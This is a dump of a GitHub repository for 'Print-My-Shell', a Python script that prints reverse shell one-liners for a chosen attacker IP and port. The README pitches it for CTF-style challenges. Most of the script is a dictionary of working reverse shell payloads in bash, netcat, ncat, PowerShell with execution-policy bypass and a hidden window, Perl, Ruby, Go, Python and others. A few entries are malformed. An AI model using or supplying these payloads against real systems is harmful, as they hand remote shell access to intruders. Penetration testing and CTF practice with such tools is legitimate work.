├── .gitignore ├── LICENSE ├── README.md └── print_my_shell.py /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | __pycache__ 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Sameera Madushan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Print-My-Shell 2 | 3 | "Print My Shell" is a python script, wrote to automate the process of generating various reverse shells based on [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) and [Pentestmonkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) reverse shell cheat sheets. 4 | 5 | Using this script you can easily generate various types of reverse shells without leaving your command line. This script will come in handy when you are playing [CTF](https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security) like challenges. 6 | 7 | ![iaa](https://user-images.githubusercontent.com/55880211/78874353-e461f080-7a69-11ea-848c-32186f1d60fa.gif) 8 | 9 | ## Available Shell Types 10 | - Bash 11 | - Perl 12 | - Ruby 13 | - Golang 14 | - Netcat 15 | - Ncat 16 | - Powershell 17 | - Awk 18 | - Lua 19 | - Java 20 | - Socat 21 | - Nodejs 22 | - Telnet 23 | - Python 24 | 25 | ## Git Installation 26 | ``` 27 | # clone the repo 28 | $ git clone https://github.com/sameera-madushan/Print-My-Shell.git 29 | 30 | # change the working directory to Print-My-Shell 31 | $ cd Print-My-Shell 32 | ``` 33 | 34 | ## Usage 35 | 36 | ``` 37 | usage: shell.py [-h] [-i IPADDR] [-p PORTNUM] [-t TYPE] [-l] [-a] [-s] 38 | 39 | optional arguments: 40 | -h, --help show this help message and exit 41 | -i IPADDR, --ip IPADDR 42 | IP address 43 | -p PORTNUM, --port PORTNUM 44 | Port number 45 | -t TYPE, --type TYPE Type of the reverse shell to generate 46 | -l, --list List all available shell types 47 | -a, --all Generate all the shells 48 | -s, --shellonly Disables all output other than the first shell of given type 49 | ``` 50 | 51 | ## Support & Contributions 52 | - Please ⭐️ this repository if this project helped you! 53 | - Contributions of any kind welcome! 54 | 55 | Buy Me A Coffee 56 | 57 | ## License 58 | Print My Shell is made with ♥ by [@_\_sa_miya__](https://twitter.com/__sa_miya__) and it is released under the MIT license. 59 | 60 | ## References 61 | [Payloads All The Things Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) 62 | 63 | [Pentestmonkey Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) 64 | -------------------------------------------------------------------------------- /print_my_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | import sys 4 | 5 | DEFAULT_IP = "10.0.0.1" 6 | DEFAULT_PORT = "1234" 7 | 8 | BANNER = r''' 9 | ___ _ _ __ __ ___ _ _ _ 10 | | _ \_ _(_)_ _| |_ | \/ |_ _ / __| |_ ___| | | 11 | | _/ '_| | ' \ _| | |\/| | || | \__ \ ' \/ -_) | | 12 | |_| |_| |_|_||_\__| |_| |_|\_, | |___/_||_\___|_|_| 13 | |__/ [by Sameera Madushan & Gobidev] 14 | 15 | ''' 16 | 17 | ''' 18 | - Reverse Shells From - 19 | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md 20 | http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 21 | ''' 22 | SHELL_DICT = { 23 | 24 | "bash": [ 25 | 'bash -i >& /dev/tcp/{0}/{1} 0>&1', 26 | '0<&196;exec 196<>/dev/tcp/{0}/{1}; sh <&196 >&196 2>&196' 27 | ], 28 | 29 | "perl": [ 30 | 'perl -e \'use Socket;$i="{0}";$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};\'' 31 | 'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{0}:{1}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'', 32 | 'NOTE: Windows only\nperl -MIO -e \'$c=new IO::Socket::INET(PeerAddr,"{0}:{1}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'', 33 | ], 34 | 35 | "ruby": [ 36 | 'ruby -rsocket -e\'f=TCPSocket.open("{0}",{1}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\'', 37 | 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{0}","{1}");while(cmd=c.gets);IO.popen(cmd,"r"){{|io|c.print io.read}}end\'', 38 | 'NOTE: Windows only\nruby -rsocket -e \'c=TCPSocket.new("{0}","{1}");while(cmd=c.gets);IO.popen(cmd,"r"){{|io|c.print io.read}}end\'', 39 | ], 40 | 41 | "golang": [ 42 | 'echo \'package main;import"os/exec";import"net";func main(){{c,_:=net.Dial("tcp","{0}:{1}");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}}\' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go', 43 | ], 44 | 45 | "nc": [ 46 | 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f', 47 | ], 48 | 49 | "nce": [ 50 | 'nc -e /bin/sh {0} {1}', 51 | ], 52 | 53 | "ncat": [ 54 | 'ncat {0} {1} -e /bin/bash', 55 | 'ncat --udp {0} {1} -e /bin/bash', 56 | ], 57 | 58 | "powershell": [ 59 | 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{0}",{1});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()', 60 | 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'{0}\',{1});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"', 61 | ], 62 | 63 | "awk": [ 64 | 'awk \'BEGIN {{s = "/inet/tcp/0/{0}/{1}"; while(42) {{ do{{ printf "shell>" |& s; s |& getline c; if(c){{ while ((c |& getline) > 0) print $0 |& s; close(c); }} }} while(c != "exit") close(s); }}}}\' /dev/null', 65 | ], 66 | 67 | "lua": [ 68 | 'lua -e "require(\'socket\');require(\'os\');t=socket.tcp();t:connect(\'{0}\',\'{1}\');os.execute(\'/bin/sh -i <&3 >&3 2>&3\');"', 69 | 'lua5.1 -e \'local host, port = "{0}", {1} local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()\'', 70 | ], 71 | 72 | "java": [ 73 | 'r = Runtime.getRuntime();p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/{0}/{1};cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);p.waitFor();', 74 | ], 75 | 76 | "socat": [ 77 | 'socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:{0}:{1}', 78 | 'socat tcp-connect:{0}:{1} system:/bin/sh', 79 | ], 80 | 81 | "nodejs": [ 82 | '(function(){{var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect({1},"{0}",function(){{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}});return /a/;}})();', 83 | ], 84 | 85 | "telnet": [ 86 | 'rm -f /tmp/p; mknod /tmp/p p && telnet {0} {1} 0/tmp/p', 87 | ], 88 | 89 | "python": [ 90 | 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'', 91 | ], 92 | 93 | "python3": [ 94 | 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'', 95 | ] 96 | } 97 | 98 | 99 | def get_shell(shell_type: str, shell_ip: str, shell_port: int) -> str: 100 | """Return a reverse shell of a certain type with filled in ip and port""" 101 | 102 | # Test if type is in SHELL_DICT 103 | if shell_type not in SHELL_DICT: 104 | print(f"Unknown shell type: {shell_type}") 105 | exit(1) 106 | 107 | if not args.shellonly: 108 | print(f"\n[>] {shell_type} reverse shell [<]\n") 109 | 110 | # Get shells of type 111 | reverse_shells = SHELL_DICT[shell_type] 112 | 113 | output = "" 114 | 115 | for shell_syntax in reverse_shells: 116 | formatted_shell = shell_syntax.format(shell_ip, shell_port) 117 | if output: 118 | output += "\n\n" 119 | output += formatted_shell 120 | 121 | # Break after first shell if shellonly is specified 122 | if args.shellonly: 123 | break 124 | 125 | if not args.shellonly: 126 | output += "\n" 127 | return output 128 | 129 | 130 | if __name__ == "__main__": 131 | 132 | # Parse arguments 133 | parser = argparse.ArgumentParser() 134 | parser.add_argument("-i", "--ip", type=str, help="IP address", dest='ipaddr') 135 | parser.add_argument("-p", "--port", type=int, help="Port number", dest='portnum') 136 | parser.add_argument("-t", "--type", type=str, help="Type of the reverse shell to generate", dest='type') 137 | parser.add_argument("-l", "--list", action="store_true", help="List all available shell types", dest='list') 138 | parser.add_argument("-a", "--all", action="store_true", help="Generate all the shells", dest='all') 139 | parser.add_argument("-s", "--shellonly", action="store_true", help="Disables all output other than the first shell" 140 | "of given type", dest="shellonly") 141 | 142 | # Parse arguments 143 | if sys.argv[1:]: 144 | args = parser.parse_args() 145 | else: 146 | print(BANNER) 147 | parser.parse_args(args=["--help"]) 148 | args = None 149 | exit() 150 | 151 | # Print banner 152 | if not args.shellonly: 153 | print(BANNER) 154 | 155 | # Set ip and port 156 | ip = DEFAULT_IP 157 | port = DEFAULT_PORT 158 | 159 | if args.ipaddr or args.portnum is not None: 160 | ip = args.ipaddr 161 | port = args.portnum 162 | 163 | # Print shell of type if specified 164 | if args.type: 165 | print(get_shell(args.type, ip, port)) 166 | 167 | # List all available shell types 168 | if args.list: 169 | print("\n[>] Available Shells [<]\n") 170 | for available_shell in SHELL_DICT: 171 | print(available_shell) 172 | print() 173 | 174 | # Print all shells if specified 175 | if args.all: 176 | for t in SHELL_DICT: 177 | print(get_shell(t, ip, port)) 178 | --------------------------------------------------------------------------------